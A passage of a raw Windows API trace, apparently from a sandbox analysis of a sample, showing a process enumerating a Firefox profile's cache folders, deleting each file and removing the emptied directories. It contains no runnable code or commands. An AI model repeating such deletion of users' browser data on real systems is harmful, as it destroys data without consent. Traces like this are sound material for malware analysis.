pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26", pszFile="90EEBd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26\\90EEBd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26\\90EEBd01" [0117.370] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26\\90EEBd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\7\\26\\90eebd01")) returned 1 [0117.457] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63506130, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63506130, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x144cd, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="90EEBd01", cAlternateFileName="")) returned 0 [0117.457] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.457] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.457] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.457] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.457] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\7\\26")) returned 1 [0117.458] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b32120, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="60", cAlternateFileName="")) returned 1 [0117.458] lstrlenW (lpString="60") returned 2 [0117.458] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7", pszFile="60" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60" [0117.458] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60") returned 84 [0117.458] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.458] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.458] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.458] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60\\*.*" [0117.458] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b32120, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.458] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b32120, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.458] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1b32120, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf208d2a0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x18c273, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="85957d01", cAlternateFileName="")) returned 1 [0117.458] lstrlenW (lpString="85957d01") returned 8 [0117.458] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60", pszFile="85957d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60\\85957d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60\\85957d01" [0117.458] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60\\85957d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\7\\60\\85957d01")) returned 1 [0117.459] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1b32120, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf208d2a0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x18c273, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="85957d01", cAlternateFileName="")) returned 0 [0117.459] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.459] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.459] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.459] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.459] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\60" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\7\\60")) returned 1 [0117.459] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1b32120, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="60", cAlternateFileName="")) returned 0 [0117.459] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.459] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.459] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.459] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.459] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\7")) returned 1 [0117.460] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="8", cAlternateFileName="")) returned 1 [0117.461] lstrlenW (lpString="8") returned 1 [0117.461] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="8" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8" [0117.461] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8") returned 81 [0117.461] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.461] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.461] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.461] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\*.*" [0117.461] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.462] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.462] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="AE", cAlternateFileName="")) returned 1 [0117.462] lstrlenW (lpString="AE") returned 2 [0117.462] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8", pszFile="AE" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE" [0117.462] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE") returned 84 [0117.462] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.462] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.462] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.462] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE\\*.*" [0117.462] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.468] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.468] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638e44f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x14f74, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="93407d01", cAlternateFileName="")) returned 1 [0117.468] lstrlenW (lpString="93407d01") returned 8 [0117.468] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE", pszFile="93407d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE\\93407d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE\\93407d01" [0117.468] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE\\93407d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\8\\ae\\93407d01")) returned 1 [0117.468] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638e44f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x14f74, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="93407d01", cAlternateFileName="")) returned 0 [0117.468] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.468] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.468] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.468] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.468] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8\\AE" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\8\\ae")) returned 1 [0117.469] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="AE", cAlternateFileName="")) returned 0 [0117.469] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.469] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.469] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.469] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.469] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\8" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\8")) returned 1 [0117.469] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="9", cAlternateFileName="")) returned 1 [0117.469] lstrlenW (lpString="9") returned 1 [0117.469] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="9" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9" [0117.469] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9") returned 81 [0117.469] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.469] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.469] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.469] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\*.*" [0117.469] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.470] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x9fa5cb60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9fa5cb60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.470] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="00", cAlternateFileName="")) returned 1 [0117.470] lstrlenW (lpString="00") returned 2 [0117.470] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9", pszFile="00" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00" [0117.470] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00") returned 84 [0117.470] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.470] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.470] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.470] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00\\*.*" [0117.470] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\9\\00\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.470] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6384bf70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.470] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x638720d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x638720d0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x638720d0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x71b7, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="7AABCd01", cAlternateFileName="")) returned 1 [0117.470] lstrlenW (lpString="7AABCd01") returned 8 [0117.470] PathCombineW (in: pszDest=0x9a6e480, 